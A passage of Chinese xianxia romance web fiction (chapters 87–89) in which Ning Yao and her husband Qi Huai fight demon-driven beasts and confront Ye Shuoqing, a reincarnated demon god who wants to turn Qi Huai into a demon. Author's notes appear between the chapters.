宁瑶笑着磨了磨牙,仰脸不轻不重咬在他颊边,佯装镇定:“只此一次。” “嗯。”祁淮眼底掠过狡黠的光,指腹抚过她唇角,将脸又凑近几分。 灵力涓涓交汇,虽不比那档子事欢愉,却另有一种修为攀升、心神全然相通的温暖。 她熟练地合上眼。 身子早记住由他牵引的节奏,无需意识催动,便自发沉入灵海。 祁淮吻了吻她眉心。 从前她断不会这份纵容,让他此刻幸福的魂髓发颤。 宁瑶沉沉睡去,恍惚梦见了幻境里“爹爹”林晏。醒来时,梦影模糊,只余怅然。 ……居然会梦到他。 指尖蓦地被什么烫了一下。宁瑶惊醒,见侧身祁淮面颊发烫,呼吸微乱。 “祁淮?”她撑起身,掌心覆上他前额,手腕便被猛地攥住。 祁淮睁开眼,起身一把将她箍进怀里。 宁瑶怔了怔,任由他抱着:“怎么了?” “无事。”他将脸埋进她颈窝,臂弯稍松,却未放手,“……魇着了。” “可你方才身上很烫。” “现在呢?” 她重新摸了摸他额头,一片温凉,与平日无异。“嗯,好了。” “睡吧,夫人。”祁淮蹭了蹭她发顶。 宁瑶犹疑地看了他片刻,终是调整姿势,偎着他再度阖眼。 待她呼吸绵长,祁淮缓缓收紧手臂,将人更深地拥入怀中。 他下颌绷紧,眸色沉晦地凝望帐顶,掌心贴着她后腰,许久,极轻地吐出一口气。 夜晚忽刮大风,一场大雨淋漓落下。 黑夜之中,扬起细微的风声,一串脚印被大雨冲得无影无踪。 第二日天刚亮,三人便再度出发。 灵船既毁,只能御剑。 宁瑶御剑不好,但却见祁淮御剑四平八稳,着实惊讶了。 “祁淮,你何时会的?”她索性坐在他的剑身上,双腿悬空,轻轻晃荡。 飞剑破空,速度极快,前方的防护结界将风尽数挡开。 “很久了。”他偏过头,回眸看她。视线落在她惬意摇晃的腿上,眼底满是笑意。 后方,将这一幕尽收眼底的洛子晟,眸光冷了一瞬,声音干涩:“此地不宜久留,加快速度。” 然而,未等他们飞离这片山头,异变陡生。 几声尖锐的长啸刺破长空,数只形貌诡异的妖兽自下方密林扑出,似鸟非鸟,似犬非犬,双目猩红如血,不由分说便朝三人扑杀而来。 “小心!”宁瑶反应极快,手中长鞭挟着一道赤红的火灵气,将最先扑至的一头妖兽抽飞。 洛子晟剑光暴涨,剑气织成网暂时阻住另外两只。 妖兽恍若未觉痛楚,被击退后以更凶悍的姿态再次扑上,更多猩红眼瞳在林木阴影中亮起。 “先下去。”宁瑶当机立断。 剑光一沉,被迫落在一处较为开阔的山脊上。 “这些妖兽太不对劲。”宁瑶蹙眉,长鞭再次挥出,将扑近的妖兽撕裂一道缺口,缺口瞬息便被更多妖兽填满。 祁淮寸步不离地护在她身侧,目光沉沉扫过妖兽。 他看得比旁人更分明,这些妖兽心脉位置有一团黑气。 他迅速瞥了一眼正全力对敌的宁瑶和洛子晟,他们似乎对其毫无所觉。 “怎么了?”宁瑶看到祁淮的凝滞,一鞭扫开侧翼之敌,抽空问道。 “夫人……”祁淮唇瓣轻轻地抿了一下,阴郁的眸光划过一丝幽深的暗色。 他们不知道,但祁淮清楚。 黑气便是魔气。 作者有话说:[狗头]每次深挖我的女主男主人设,发现越挖越有意思,感觉还能在写很多甜甜的内容…… 第88章 铃音轻响,祁淮眼底掠过一抹阴翳。 他将宁瑶牵到身后,蛊虫涌出,眨眼便将扑来的妖兽啃噬干净。 他顺势撕开一道妖兽潮中的裂缝,臂上盘绕的黑蛇身形暴涨,将三人托起,游龙般滑去。 后方妖兽再度追来,嘶吼不绝。 祁淮按住心口,压下一阵熟悉的钝痛。 整座山头的妖兽越聚越多,似追非追,始终隔着一段距离。 祁淮忽然从蛇身上纵身跃下。 “祁淮——”宁瑶慌忙去抓,指尖只拂过他翻飞的袖角,抓空留下凉意的风。 “怪怪,带他们走。”祁淮声线平静,并未回头。 “你干什么去?!”宁瑶伏在蛇背上,眼睁睁看着祁淮的背影在急速倒退的景物中变小。 祁淮弹出一颗传送珠,黑蛇张口衔住,咔嚓咬碎。 光芒一绽,两人一蛇瞬间消失在原地。 祁淮独立于妖兽环伺的荒岭之中,掌心缓缓聚起一团浓浊的黑气。 周遭妖兽霎时焦躁低吼,踟蹰不前徘徊着。 果然是被魔气驱使。 可魔族早在千年前便近乎绝迹。 祁淮阴郁的眸子里杀意翻涌,想起它们方才扑向宁瑶的模样,心底暴戾便难以按压。 他极轻地扯了下嘴角:“真无趣。” 他五指收拢,妖兽体内缕缕黑烟被强行抽离,哀嚎声中接连倒地。 汇聚的魔气如归巢之鸦,盘旋着涌向祁淮的身周。 他眸光一凛,操纵污浊之气压向地面,静待大地灵气将其净化。 就在转身的刹那,最后一缕尚未没入土中的黑气窜起,倏地钻入他后心。 祁淮身形一滞,捂住心口。 心跳得极快,连带血脉都不禁灼烫起来。 ……大意了。 这魔气竟能引动他体内的魔气。 耳畔似有无数嘶喊与杀伐之音,翻搅着他心底强忍的那一股不安。 待祁淮强行清醒时,一抹猩红自眼底一闪。 压下经脉中躁动不安的异样,他不再耽搁,循着宁瑶身上的情缠蛊气息赶去。 风掠过耳畔,祁淮面颊无声地浮起一丝近乎阴沉的笑。 ——碰她?那便都该死。 * 另一边,光芒熄灭,他们被一道无形结界生生拦下,传送范围只将他们仓促在结界的临界点。 此地树枝无风轻颤,树梢缀满盛放的紫色花朵,幽香暗浮。 怪怪缩回小蛇模样,鳞片上带着擦伤,哧溜一下,飞快缠上洛子晟的手臂。 它怂怂地吐了吐信子,甚至试图把脑袋藏到自己的尾巴后面。 洛子晟清冷的面色裂开一道缝,甩了甩胳膊。 可那细小的蛇身反倒缠得更紧了,颇有些耍无赖的架势。 “它为何偏要缠着我?”洛子晟面无表情道。 宁瑶心领神会,这小家伙方才出力受了惊,此刻既想偷懒,又怕她会惧怕它,只好赖上在场唯一的洛子晟了。 “它刚刚才救了咱们,你就让它缠一会儿。”宁瑶话音里带着笑。 这话成功让洛子晟停下了动作,他闭上眼深吸了口气,再睁眼目光落在她憋着笑的嘴角上。 刹那间,某些久远的、属于两人孩提时的记忆在脑海出现。 祁淮不自在地别开视线,冷声道:“此处有结界,找阵眼。” 宁瑶点头,身后传来一声急促的低唤。 “夫人。” 祁淮循着情缠蛊的感应疾步而来,伸手便将她揽入怀中,紧紧抱了一瞬,迅速确认她周身无恙。 “你来啦。”宁瑶抬眼看他,目光同样关切地在他身上扫过,见他同样完好,悄悄松了口气。 “这花以香惑人,嗅之致幻,服下。” 祁淮将一枚药丸塞进宁瑶手心,转而瞥向洛子晟,随手抛去一枚。洛子晟神色略显别扭,仍是接过吞下去。 三人服下巫药,开始探查。 周遭寂静,但寂静的太过可怕。 “你有没有觉得,周围雾越来越浓了?”四下不知何时泛起雾气,宁瑶下意识握紧了祁淮的手。 祁淮唇角微弯,顺势贴近她身侧,几乎将她半拢在怀里,“跟紧我,千万别散。” “好。”宁瑶应了声,身侧人脚步却顿住。 只见祁淮眼神空茫地直视前方,一旁的洛子晟竟也是同样情状。 黑蛇怪怪从洛子晟臂上滑下,迅速游回祁淮手腕,用尾巴焦急地轻拍他的小臂。 可祁淮毫无反应。 “祁淮?夫君?”宁瑶站到他面前,连唤数声。他眼睫未动,仿佛坠入另一个世界。 “怎么回事?为何唯独我没事?” 怪怪昂首发出警示的嘶声。 宁瑶心下一凛,疾视四周。 压在枯叶下的青藤悄然扭动,骤然弹起,朝着僵立的两人袭去。 宁瑶手腕一振,长鞭附着火光,将袭来的藤蔓挡开。 祁淮眼底浮起猩红。 又是这个画面,长剑破风,再一次刺穿“宁瑶”的心口。她如一只断了线的纸鸢,软软坠在他眼前。 温热的血随着剑刃拔出,溅上他的侧脸。 祁淮想动,却只能眼睁睁看着她呕出一血,凄凄地望他一眼后阖上眸。 体内魔气轰然翻涌,心上一层自缚的枷锁寸寸崩裂。 他缓缓抬眸,看向不远处朦胧人影,戾气蚀骨。 “……伤她。”祁淮阴郁眸光满是杀气,“该死。” 宁瑶后背一寒,疾步后退,却慢了半分。 一只冰冷的手扼上她的脖颈,力道狠绝,瞬间夺走了她的呼吸。 她指尖用力的发颤,去掰那只手。 祁淮另一只手凝出风刃抬起,可就在刃锋将落未落之际,他看见了掌中之人涨红的脸。 ……不对劲。 意识挣扎的刹那,手上的力道稍松。 宁瑶艰难地吸进一丝气,喉间挤出声音:“祁……淮……” 努力呼呼的声音仿佛穿透迷雾,带着彻骨的熟悉感,撞进嗡鸣的耳中。 祁淮手指一松。 宁瑶趁机肘击他关节,踉跄脱身,因氧气少的缘故剧烈呛咳起来。 几乎同时,一道紫红指痕凭空浮现于祁淮自己颈间,刺痛让他神智一凛。 瞳孔一缩,视线清晰。 面前哪有什么持剑的幻影,只有咳得脸颊发红的宁瑶。 他低头看向自己颤抖的手,又触上自己颈间与她同源的伤痕,心口像被狠狠攥紧,窒息的疼。 “夫人。” 宁瑶缓过气,摸了摸自己的脖子。指痕看着吓人,却并无痛感,她瞬间明白。 抬眼看向他,宁瑶声音沙哑:“你又骗我,说好一起解开伤害转移法术呢?” “我……”祁淮伸手想扶她,又在半空僵住,指尖微颤,惶然无措得像做错事又怕被丢弃的小兽,“你可还好?我,我伤到你了……” “我没事。”宁瑶摇头,顺了口气,看他小心翼翼的模样,语气刻意放轻了些,“我不疼,疼的不是我,是你。” 他指尖虚触她颈上红痕,眼底满是自厌与后怕,“不能,哪怕是我自己,也绝不能伤你分毫。” 祁淮心口疼痛一次次攀升,压抑不了那股反复出现的燥郁。 “这只是一次意外,祁淮。”宁瑶打断他的煎熬。 她往前一步环住他紧绷的腰身,下巴轻搁在他肩头,安抚道:“而且我真不疼,疼的是你。” 她叹了口气,“你上次答应我好好的,结果又偷偷留着了。” “留着它,我才安心。你若伤在任何一处,都必须让我知道。”祁淮用力地回拥着她。 ——痛也好,伤也罢,他都要与她同感共受。 无法宣之于口的阴暗占有,这是他为自己套上的、最后的枷锁。 花香钻入肺腑,似在勾起人心的欲望。 祁淮额角渗出细汗,体内魔气被香气一引,近乎翻腾。 他将宁瑶推开些许距离,“夫人,这香古怪,你离我远些。” 宁瑶顺着他力道后退,一抬眼,忽瞥见几步开外的洛子晟站得笔直,脸上淌下两行清泪。 又见祁淮状态不对劲,她急急道:“我去找阵眼,让怪怪护着你。” “不可。”祁淮想也不想攥住她衣袖,“我陪你。” “可他……”宁瑶迟疑地指了指洛子晟。 见宁瑶仍分心顾及洛子晟,祁淮故作闷哼一声,抬眼望向她。 宁瑶早见识祁淮的小手段,瞧着他瞬间苍白的脸色,难受的模样不似作伪,心还是软了一下,忙扶住他手臂:“行了,我哪也不去,我先等你缓缓。” 祁淮闻言,刚扬起得逞的笑意,心脏传来一阵剧痛。 “呃……”祁淮闷哼一声,指节攥得发白。 眼底清明如退潮般迅速消散。 就在这时,一旁僵立许久的洛子晟猛地挣脱了什么束缚,一把扣住宁瑶手腕。 “嘶,你干什么?”宁瑶吃痛,挣脱不开。 洛子晟目光一凌,死死盯着气息不对的祁淮,厉声道:“你看他身后。” 宁瑶回头。 视线所及的阴影里,祁淮的身后,他的影子轮廓正不自然地扭曲、膨胀。 “夫人,小心!”祁淮挣脱不出,心口疼痛愈演愈烈,他捂住急促得心跳。 宁瑶转头发现她和洛子晟投在地上的影子,也如水纹般诡异荡漾。 黑影凝结而成的“手臂”,飞速蔓延伸出,瞬间缠绕上他们的脚踝。 三人牢牢被固定在原地。 一道似有若无,带着满意笑意的叹息,幽幽回荡:“不错,不错。离魔的诞生,又近了一步。” 风声呼啸。 宁瑶听到熟悉的嗓音,难以置信地循声回眸。 夜烁卿倚着树,一身藕粉衫子被风吹得飘飘曳曳,指尖转着玉笛。 平日里看人暖融融的桃花眼,此刻弯如月牙却莫名让人脊背发凉。 “夜烁卿?”宁瑶下意识攥紧鞭柄,“你怎么在这儿?” 数道黑影突然从地上缠绕她的手臂,宁瑶的灵力骤然凝滞。 作者有话说:今日圣诞节,本人虽没有过洋节的习惯,借着节日气氛祝小宝们圣诞节快乐[亲亲][亲亲][亲亲]ps:目测完结在30-40w字,剧情渐入佳境了(真的快完结了[亲亲]) 第89章 “宁师妹,”夜烁卿把玩着玉笛,尾音拖长,噙着丝玩味的笑,“怎么不唤夜师兄了?” 宁瑶攥紧的拳微微发颤,眸光如炬钉在他脸上:“当时袭击我的人,是你。” “是。”夜烁卿答得坦荡,嘴角仍是那抹惯常的笑。他偏过头,目光意有所指地掠向一旁的祁淮,笑意深了几分。 这模样陌生得让宁瑶心头发冷。 “魔?你到底想干什么,夜烁卿!” 夜烁卿老神在在地摇了摇玉笛,仿佛对她的反应极为满意:“我以为师妹早该知晓了,苗疆,你不是去过了吗?” “那与你所说的有何关联?”宁瑶浑身绷紧,脑中飞速盘算。 “苗疆幻境里的一切,皆为真实。至少,对我让你们看见的‘前世’而言,是真的。”他语调悠然,玉笛轻轻一转,直指祁淮,“而我,需要一只魔,一只真正的魔。” 他顿了顿,饶有兴致地欣赏宁瑶骤变的脸色:“一颗魔心,成就一个魔。” 宁瑶眸光骤沉。 他竟是要逼祁淮入魔,或者说……做回魔。 祁淮心口猛地一揪,眼底晦暗翻涌。 他未曾料到夜烁卿会如此直白撕开一切,更想不通他如何知晓这最深处的隐秘。 祁淮下意识看向宁瑶,声音发紧:“夫人……” “不可!”宁瑶脱口而出。 祁淮若当真成魔,日后仙门岂有他容身之处? 祁淮蓦然攥拳,骨节泛白。 “怎么?”夜烁卿冷笑,“你也嫌弃魔?魔有万千,而他,将会成为供我驱使的、最锋利的那一把。” “我嫌弃的是你!”宁瑶迎上他的目光,字字清晰,“我不嫌弃魔,更不会嫌弃祁淮。但我绝不允许,你将他当成你的垫脚石。” 她挣扎着,手腕脚踝缠绕的黑影却越收越紧,疼得她闷哼一声,心底焦灼如火炙烤。 祁淮强忍心口撕裂般的剧痛,召出蛊虫与怪怪,直攻夜烁卿:“放开她。你要的魔,是我。” 夜烁卿眼中掠过一丝讶异:“这般境地下,神智竟还清醒,真是意志惊人。” 他随意挥手格挡,两名手下自暗处现身。一紫衣女子挽紫弓,一黑衣男子执银刀,煞气凛然。 怪怪陡然膨胀蛇身,蓄势待发,却见夜烁卿不慌不忙自怀中取出一枚黑金令牌,其上刻着一个古朴的“溟”字。 怪怪凑近细看,赤红竖瞳急颤,焦躁地盘旋蛇身,信子嘶嘶作响。 “怎么,不认得了?”夜烁卿笑意不明。 怪怪蛇尾烦躁地拍打地面,显然陷入了挣扎。最终,它发出一声低嘶,庞大的身躯却毅然横挡在祁淮与宁瑶身前。 “畜牲终究是畜牲。” 夜烁卿面色转冷,挥手下令。 两名手下当即与蛊虫、怪怪缠斗在一处。 宁瑶趁机望向祁淮,只见他捂着心口,脸色惨白如纸,身形微晃,状况显然不对。 祁淮抬眸望来,眼神迷离却竭力传递着一丝安抚。 宁瑶心尖一颤,眼神示意,她的掌心悄然抵上腕间黑影,猛地发力划破皮肤,鲜血涌出,灼热的火灵气随血喷薄,黑影如遇克星般嘶叫着松脱。 与此同时,洛子晟积蓄的力量陡然爆发,震开束缚。 两人几乎同时脱困。 怪怪蛇身已添数道伤口,洛子晟持剑加入战团,为其分担压力:“你们先走,我们分开撤。” 剑光闪过,黑衣男子一臂应声而落。 可男子恍若未觉,断臂处伸出枯藤般的黑气,竟将断肢凌空抓回接上了。 “洛子晟,”夜烁卿慢悠悠开口,似是好心提醒,“别忘了,我是来助你挽回宁师妹的。同盟之约,岂容你说反悔便反悔?” 他目光扫过宁瑶,分明在刻意挑明。 洛子晟持剑的手一僵,不敢去看宁瑶:“你是答应助我,可从未言明,是要将祁淮硬生生炼成魔仆。” “虚伪。”夜烁卿嗓音低哑,带着恨铁不成钢的嘲弄,“他成了我麾下之魔,你心中所愿,自然达成。” 他指节摩挲着玉笛,周身气息微沉,已暗自提防。眼前的洛子晟,半步金丹,绝非易与之辈,不容小觑。 而他怎么可能轻易让他们离开。 趁着那两人对峙的间隙,一旁的紫衣女子悄然搭箭弯弓,箭头瞄准了宁瑶。 箭头冷光一闪。 夜烁卿眼波微动,指尖无意识般摩挲着玉笛。 若宁瑶受伤,或能加速祁淮入魔…… 值得一试。 “嗖——”箭矢破空而来。 宁瑶余光瞥见,身形疾转,长鞭如灵蛇般卷住箭杆向外甩去。 不料那箭矢似长了眼睛,在空中诡异地一折,竟再度向她心口疾射。 祁淮眸底骤然涌上猩红,那股阴鸷燥郁的戾气几乎要压垮神智。他死死咬紧牙关,灵力暴涌而出,硬生生拖住箭尾,反手一挥。 箭矢以更凌厉的速度倒飞回去,没入紫衣女子胸口。女子踉跄倒地,化作一地朽木。 夜烁卿神色终于敛起几分轻慢,指尖划过笛身,“倒是小瞧了你。这般境地下,竟还能强行反击?” “呵,”祁淮低笑,眼中血色未退,透着一股彻骨冷意的恶劣,“你以为呢?” 这情景莫名熟悉。 宁瑶心头一颤,记忆碎片尚未拼凑,就见祁淮已与夜烁卿战在一处。 他眸色在猩红与清明间剧烈挣扎,却仍一步踏前,将她严严实实护在身后。 夜烁卿旋身后撤,玉笛抵唇,音波如浪潮层层攻去。 祁淮不闪不避,迎着音杀硬生生逼近,宁瑶的长鞭在一旁灵巧策应,替他荡开杀招。 夜烁卿终于正色,单手负后,另一掌中凝聚起浓浊魔气。魔气现形的刹那,祁淮心口猛地一绞,身形顿时僵滞。 ——他是魔?! 趁这瞬息,宁瑶长鞭已至,“啪”地缠上夜烁卿手臂,鞭梢回卷,硬生生一扯。 夜烁卿攻势一偏,祁淮指间一枚蛊虫已没入对方体内。 “此地专为他而设,你以为他能逃掉?”夜烁卿怒极,额角青筋跳动。那蛊虫竟借他魔气反噬,钻心蚀骨,“你怎会……” “本来是留给我自己的。”祁淮咳着血,笑得惨烈。 趁着夜烁卿实力大减,宁瑶双手结印,炽烈火灵奔涌而出,化作一条昂首红龙,咆哮着扑向夜烁卿。 夜烁卿被逼得连连后退闪开。 趁此间隙,宁瑶一把扶住祁淮,将他大半重量揽到自己肩上。 她匆匆瞥向洛子晟的方向,只见他频频望来,神色难辨。 祁淮发辫上银饰叮当乱响,他已无力压制清音。 宁瑶不再犹豫,捏碎传送珠。 光芒吞没三人一蛇的瞬间,夜烁卿刚击散火龙,抬眼只看到一片空荡。 * 传送的眩晕感散去,三人踉跄落地。仍然在那片开满紫色怪花的树林里,此处寂静得可怕。 祁淮几乎全身重量都压在她身上,呼吸灼烫,眼神涣散又黏人,唯有心口的剧痛一阵紧过一阵。 “夫人,他要的是我。他不会善罢甘休的,你快走吧。” “说什么傻话。”宁瑶舔了舔干裂的嘴唇,迅速环顾四周。 洛子晟想上前搀扶,宁瑶侧身,不许他触碰。 “我……” 宁瑶无心听他多言,忽略了自己掌心的擦伤,先扶着祁淮靠树坐下。 洛子晟见状,握了握拳,低声道:“我去找阵眼。”转身略显狼狈地没入林间。 宁瑶轻轻拨开祁淮汗湿的额发,理了理他凌乱的发辫,银铃随之轻响。 “夫君,很难受吗?我该怎么帮你?” 祁淮微颤的手攥住她的手腕,他垂下眼,看着宁瑶掌心那道刺目的伤痕,指腹极轻地沿着伤口边缘抚过,“疼吗?” “疼什么呀,”宁瑶鼻子一酸,“都转移到你身上了。” 这人到底知不知道自己施展了巫咒,她受的每一分伤,都会原样刻在他身上。 像是怕弄疼她,祁淮松了力道,转而握住她的手,轻轻一拉,将人带进怀里,紧紧抱住。 “……这样就好。”他把脸埋在她肩头,闷声说。 宁瑶忽的捧住他的脸,不许他偏移分毫,目光直直探入幽深的眸底,“为什么要瞒着我?” 祁淮眼睫颤了一下,一瞬眼神躲闪,轻轻笑了,“夫人,你记得那幻境多少?” “一部分。”她记得大多细节早已模糊不清。 “可我全都记得。”祁淮用双手拢住她的手,侧脸深深贴进她温热的掌心。 “记得即云宗,记得苗疆古寨,记得你每一瞬的神情,我等了千年,才在即云宗重新见到你。” 他话音顿了顿,嗓音低哑,“然后,眼睁睁看着你死在我面前。” 心脏生疼,魔气随之翻搅。 那种攥住五脏六腑的无力感,至今未曾消退。 全因他当时未能藏好魔族身份。 这一次,绝不可能再重演。 他蹭着她掌心,感受那份鲜活的暖意,以及她落在自己身上专注的目光。 “你什么都不告诉我……” “这次,我一定不会成魔。”祁淮抬眼,眸色幽深,“答应我,若到万不得已,夫人先保你自己。” “说什么傻话。”宁瑶眼尾泛起红,“你就是不想我害怕,对不对?” 被戳穿了也不恼,祁淮握着她的手按在自己心口,那里正为她搏动着。 “是。” “没想到世上有比我能嘴硬的笨蛋。”宁瑶小声嘟囔,见他竟然还敢笑,鼻尖先一步酸了,“我可不会坐以待毙。” “我知晓。” 祁淮安抚地揉揉她后脑,指腹擦过她泛红的眼尾,笑意淡去,“但夜烁卿对我们行踪似乎了如指掌。” 宁瑶蹙眉。 这正是她不解之处,那人仿佛总快他们一步。 “不过,”她眼神一清,“他算计再多,到底还是低估了我们。如今折了一名手下,他必会更谨慎。” 祁淮望进她清亮的眼睛,听见宁瑶声音清脆果断:“那我们偏要反其道而行。” “哦?”祁淮微微歪过头,恰在此时洛子晟用千纸鹤传了信来,声称寻到了阵眼所在。 “信他?”祁淮眼尾轻挑,语气是散漫与疑虑。 宁瑶抬起眸子:“他想离开这鬼地方,除了与我们联手,别无选择。接下来,自然是擒贼先擒王。” 视线在空中悄然交汇,静默里,彼此心意心照不宣地轻笑。 “对了,你方才那蛊虫,”宁瑶想起什么,问道,“究竟是作何用的?” “备着给我,以防魔气躁动反噬己身。那小东西能以魔气为食,只是胃口太小,吃不了多少,”祁淮语调平平,仿佛在说今日天气,“吞噬时,难免有些痛。” 他说得轻描淡写,宁瑶却觉得心口像被无形的手倏地攥紧,泛起细密的疼。 这人对自己从来都是这样狠得下心,所幸蛊虫并非用在祁淮身上。 正思忖间,祁淮抬手,将系在腰间的四角铃铛解下,指尖绕过她腰间丝绦,轻轻挂好。 “这是做什么?”宁瑶低头,看着那枚微微晃荡却无声的铃铛。 祁淮幽深的眸眨了眨:“里头是一方储物空间,养着我的一些小玩意儿。若是破阵时情况有变,一时脱不开身,它们或许能护你一护,它们会听你的话。” “听我的?”宁瑶眨了眨眼。 祁淮慢悠悠地接了下去:“灵修之后,气息相通,自然是……” “明白了。”宁瑶耳根发烫,伸手便去捂他的嘴,止住那后半句令人面红心跳的话。 掌心传来温度,祁淮轻吻了一下,幽深眸光一眨不眨地瞧着她,闪着促狭的光:“要不,现在试试看?” 宁瑶微噎,分出一缕神识探入铃铛之中。 只见内里空间井然,各式蛊虫被分门别类安置得整整齐齐。 宁瑶仓促一瞥,攒动的景象仍让宁瑶面色白了白,慌忙收回神识。 “偏要我带着,备着这些不可吗,夫君?” “是。”祁淮微歪了头,一副纯然无害的模样。唯有背在身后的手,指节攥得发白,生生将涌至喉头的腥甜压了下去。 他拂过她鬓边散乱的发丝,细细理好。 两人跟着赶到洛子晟所指的阵眼时,周遭静得诡异。 没有风声,没有虫鸣。 正中央生着一极古怪的树,半边枝头缀满灼灼的红花,开得热烈繁茂。另一半却是焦黑枯萎,死气沉沉,生与死在此处对立着。 祁淮走出,独自立在树下。拂动的袖摆,香悄然混入空气里。 夜烁卿好整以暇地等着,见他周身隐约黑气浮动,魔息难以压制,忍不住抚笛大笑:“可算来了。” 洛子晟接到了千纸鹤传讯,提前一步将碍事的黑衣护卫引开。 祁淮双手负在身后,声音听不出喜怒:“你我往日无冤,近日无仇,可对我的事似是如指掌?” 夜烁卿抚笛而笑,“你相信这世间一切皆有定数吗?而我,就是写下定数之人。” 作者有话说:上班感冒,搭子走了,一波未平一波又起[爆哭] 第90章 “不信?”夜烁卿挑眉一笑。 祁淮静静瞧着他,面上波澜不惊。 见祁淮眼中毫无探究之色,夜烁卿心头那点卖关子的兴致,悄无声息地塌下去一角。 “真是无趣。” 夜烁卿语气掺了些许不自知的算计,“宁师妹究竟看上你什么?” “自然是,我好看。”祁淮答得一本正经,尾音却咬得轻慢,“夫人,喜欢我这样的。” 祁淮微歪头,唇角弯起闲适的弧度,好整以暇地欣赏对方逐渐抽搐的嘴角。 夜烁卿不自知露出忮忌的神色,瞥他一眼,“若非有我,你至今只怕还被误以为是个傀儡,岂能这般如愿?” “嗯,对啊,夫人,是我的。不管是哪个我,都是我的。”祁淮幽深眸光闪过一丝被他难看神色取悦般病态欢愉,不自觉提高声音。 祁淮这反应,全然不在夜烁卿预料之中,他反而心生出烦闷,冷哼一声。 不过他转念一想,便得以明白祁淮是在此故意拖延。宁瑶不见踪影,自然是他为宁瑶争取逃脱的时间。 可惜了。 夜烁卿心底冷笑,他早已布下禁制,此地谁也出不去。 四周寂静,树下的夜烁卿眸色沉了沉。 “既然你不好奇我究竟是谁,我倒不妨与你说道说道……”他指腹摩挲着玉笛,祁淮那副散漫模样,无端叫他心头火起。 “不好奇。”祁淮长腿一伸,姿态慵懒,像在自家后院晒着太阳的狐狸,眼底狡黠一闪而过。 夜烁卿玉笛一指天地,傲然道:“我乃天地孕化的魔神,万魔敬仰。转世前窃得天机书,笔下写定命数万千,包括你的一举一动。” 他话音一顿,对于事情脱离掌控,染上几分烦躁,“你这身躯,原本作为我复活所用的容器,合该成魔,为我驱使。可阴差阳错,我投生在夜家小子身上。” 祁淮听罢,面上不露声色,手上攥拳。 天机书?魔神? 夜烁卿是魔神转世? 祁淮靠近的脚下未停,缓步走动,驱动蛊虫悄无声息地渗入地脉。 夜烁卿脸色渐沉,见祁淮面上毫无惧色,一个走投无路的人,还不是手到擒来。 地底黑影窜出,缠上祁淮脚踝。 祁淮眼底猩红流转,忽的弯唇,将周身魔气缭绕,反将夜烁卿身形困锁在了原地。 直到此时,夜烁卿猛然惊觉,空气中有一缕若有似无的异香,被掩盖在了这原本花香之下,让人难以察觉。 他灵力正在飞速凝滞,魔气躁动不安。 而夜烁卿体内原本存在的蛊虫,与悄然爬出地表入体的蛊虫,相互呼应,借此疯狂吞噬夜烁卿的魔气。 “呵,雕虫小技。”虽是凡躯,但这蛊虫刁钻难缠,噬咬滋味着实令他不快。 夜烁卿眸色一厉,一掌挟带漆黑魔气,毫不留情地轰向祁淮心口,转而就要离去。 祁淮硬生生受下,唇边溢出一条血线,唇角却乖戾地一笑,“想逃?我们,不许。” 一道长鞭破空而来,死死缠缚夜烁卿周身,让他浑身动弹不得。 冰凉的匕首贴上喉间。 “宁师妹,你没走?”夜烁卿哑声问,没有回眸。 “我何时说过要走?”宁瑶隐匿身形出现,自他身后探出脸,嘴角依旧是那副惯常的浅笑,可眼底往日对他的种种情绪,此刻只剩一片淡然的清明。 夜烁卿下意识想握笛,却摸了个空。 玉笛早已被宁瑶踢飞至远处,喉间匕首逼近一分,反而夜烁卿不慌不忙地低笑起来:“那你可知,何谓‘恶毒女配’?” 宁瑶心头猛地一坠,干咽了一下,声音发紧:“你知道什么?” “天机书所载,你该痴恋洛子晟,与云冉冉不死不休,最终死于魔的剑下。” 夜烁卿饶有兴致地观察她骤变的神色,“可你变了。不爱他了,不缠他了,连我驱使影妖挑拨你与云冉冉,你竟会选择去信她。” “宁瑶,”他缓声道,似叹似惑,“你变得和我所想的不一样了,不过尚在掌控之中……” 宁瑶指节攥得发白,匕首紧紧抵着他颈间皮肤,“人之命数,岂是你说定就定的,你还知道些什么……” 夜烁卿对她的无礼举动竟也不恼,只微微挑眉,“天机书写下的,未必就注定发生。” 他目光掠过宁瑶,意有所指,“毕竟,你此刻还好好站在这里。” 宁瑶心口一跳,某种预感骤然清晰。 那本破书上写的,八成是限制她这个穿书的身份,还记载了限制文中关键剧情。 宁瑶眼中微光一沉。 “我不会让她死在魔的剑下。”祁淮的声音压得极低,眼眸里沉淀着化不开的阴郁。 夜烁卿瞥了眼泛着寒光的匕首,他现在凡人躯壳真是不经用。 扫过宁瑶惊疑不定的脸,他带着一种非人的漠然。 “魔,生来不死不灭。祁淮,你与她纠葛不过瞬息,是时候做回你本来的模样。”夜烁卿语调似感慨,又似叹息,眼底看向宁瑶掠过一丝杀意。 “那我便亲手杀了你的执念,助你入魔。” “你敢!”祁淮怒意加重他体内蛊虫啃噬。 夜烁卿周身魔气轰然暴涨,轻易便震开了宁瑶的钳制。 宁瑶差点被震飞出去,幸好祁淮紧紧把她护在怀里。 祁淮怀抱比任何事物都来的有安全感,可他体温似乎在节节攀升。 与此同时,夜烁卿指尖微不可察地一勾,在无声召唤着什么。那一丝深埋在祁淮心脉深处的一缕属于他的本源魔气,此刻正被引动。 “唔!” 灼烫的痛感猛地自祁淮心口炸开,一团浓黑雾气不受控地渗出衣料,甚至烫得宁瑶肌肤刺痛。 然而,祁淮的反应快得惊人,他像是早已预料,惨白着脸,额角沁出冷汗,失去半分神智却仍推开宁瑶,破空反手狠狠扣住了夜烁卿的脖颈。 “伤她,不行。” 数只蛊虫自他袖口钻出,顺势窜入对方经脉。 “呃啊——”夜烁卿面容扭曲,体内魔气狂暴翻涌,奇艺地从体内源源不断流逝而出,不是来源蛊虫啃噬,而是另一种…… 他察觉到祁淮的意图,勃然怒吼道:“你胆敢……” “我可是魔神……” “神又怎么样?凡人弑神从前没有,往后不一定。”祁淮紧皱着眉,昳丽精致的脸庞褪尽血色,唯有一双眼亮得骇人,唇角溢出一丝鲜血。 他哑声笑道,满是狠绝:“我来此,本就没想过能活着出去。” “祁淮你干什么?!” 宁瑶大惊失色,拼命想去拉他,却被两人周身肆虐的魔气逼退半步,手背手心被灼伤得呲呲作响。 可她拼尽全力,只触碰他的一片衣袖。 “祁淮,你快停下!快停下!” 她的衣袖割破,宁瑶被一股力量温柔反弹了出去。 祁淮闻声,分神看向她,眼神在触及她的瞬间奇异地柔和下来,甚至努力地牵起一个安抚的笑意。 尽管鲜血已染红了他的唇角,仍喘息着宽慰道:“夫人,别怕,我说过的,我绝不会成魔。” 宁瑶脑子里“嗡”地一声,瞬间明白了。 这家伙…… 这家伙根本不是来“擒王”的,他是打着同归于尽的主意。 “祁淮!” 